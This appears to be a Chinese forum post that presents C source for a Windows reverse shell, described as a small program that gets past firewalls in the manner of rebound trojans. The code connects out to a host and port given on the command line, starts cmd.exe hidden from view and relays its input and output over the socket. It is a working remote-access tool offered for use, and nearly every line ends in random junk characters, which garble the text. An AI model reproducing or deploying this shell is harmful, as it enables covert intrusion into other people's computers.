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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 3d6z_Yd:  
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/* ============================== $kTm"I  
Rebound port in Windows NT x:MwM?  
By wind,2006/7 s"=TM$Vb  
===============================*/ 8c)GUx  
#include nD BWm`kN  
#include t[`LG)  
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#pragma comment(lib,"wsock32.lib") .T9$O]:o  
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void OutputShell(); {wz)^A sy  
SOCKET sClient; 0>BxS9?w  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; y2_rm   
@^UgdD,BS,  
void main(int argc,char **argv) IAH"vHM  
{ }S u j=oFp  
WSADATA stWsaData; MrHJ)x"hy  
int nRet; Pl:4`oY3  
SOCKADDR_IN stSaiClient,stSaiServer; M=Ze)X\E*'  
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if(argc != 3) B.r^'>jQ  
{ =SLG N`m3  
printf("Useage:\n\rRebound DestIP DestPort\n"); :lB`K>)iB}  
return; Z|n|gxe  
} x!_5 /  
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WSAStartup(MAKEWORD(2,2),&stWsaData); i|1*bZ6'  
}( F:U#  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); n>,:*5"G  
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stSaiClient.sin_family = AF_INET; ^H.B6h?  
stSaiClient.sin_port = htons(0); Tx PFl7,r  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Ljm`KE\Q;t  
#!F>cez  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) =6dAF"b)  
{ uM`i!7}  
printf("Bind Socket Failed!\n"); xkDK5&V  
return; "KP]3EyPc  
} D-BT`@~l  
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stSaiServer.sin_family = AF_INET; EU[eG^/0@  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ~Q_7HJ=^$  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ^ 0YQlT98  
X+]>pA  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) &K0b3AWc  
{ HQP.7.w7 5  
printf("Connect Error!"); H7tv iSTd  
return; xZ`z+)  
} +XsE  
OutputShell(); Z|E9}Il]  
} kZG.Id  
'w=|uE {^  
void OutputShell() ?{ExBZNa  
{ E_=F' sP?  
char szBuff[1024]; :+/8n+@#  
SECURITY_ATTRIBUTES stSecurityAttributes; )=Z;H"_  
OSVERSIONINFO stOsversionInfo;  c`xNTr01  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 5\pS8<RJ;  
STARTUPINFO stStartupInfo; o>8~rtl  
char *szShell; d2UidDU5qa  
PROCESS_INFORMATION stProcessInformation; N-upNuv  
unsigned long lBytesRead; oY^I|FEOz  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); L4Jm8sy{  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); @~$d4K y<  
stSecurityAttributes.lpSecurityDescriptor = 0; OY{fxBb  
stSecurityAttributes.bInheritHandle = TRUE; tG$O[f@U6  
!-}Q{<2@W  
7=Muq]j2  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); k";dK*hD,  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 72Bc0Wg  
89:nF#  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 0FcDO5ia  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >;4q  
stStartupInfo.wShowWindow = SW_HIDE; ~k&b  
stStartupInfo.hStdInput = hReadPipe; yb',nGl~  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; "yw{A%J  
Z(6.e8fK  
GetVersionEx(&stOsversionInfo); Em&3g  
@}4>:\es  
switch(stOsversionInfo.dwPlatformId) J-<P~9m~I  
{ *Vl#]81~  
case 1: o>M^&)Xs  
szShell = "command.com"; *}89.kCBF  
break; - 2L(])t6  
default: q.=Q  
szShell = "cmd.exe"; iO*5ClB  
break; 3yRvs;nWS  
} &$|~",  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); T@ESMPeU:X  
c-hc.i}!  
send(sClient,szMsg,77,0); "^z%|uXkf  
while(1) 8)8~c@  
{ ZOfv\(iJ;  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); M@es8\&S.  
if(lBytesRead) X>7Pqn'  
{ N-2#-poDe  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); {oY"CZ2  
send(sClient,szBuff,lBytesRead,0); >Y4^<!\v  
} YA@?L!F  
else :4zPYG o  
{ lknj/i5L  
lBytesRead=recv(sClient,szBuff,1024,0); }K 'A/]'  
if(lBytesRead<=0) break; SlB`ktcfI  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); a&G{3#l  
} Kc[^Pu  
} OF<:BaRs/  
d"n>Q Tn\  
return; ^*l dsc  
}
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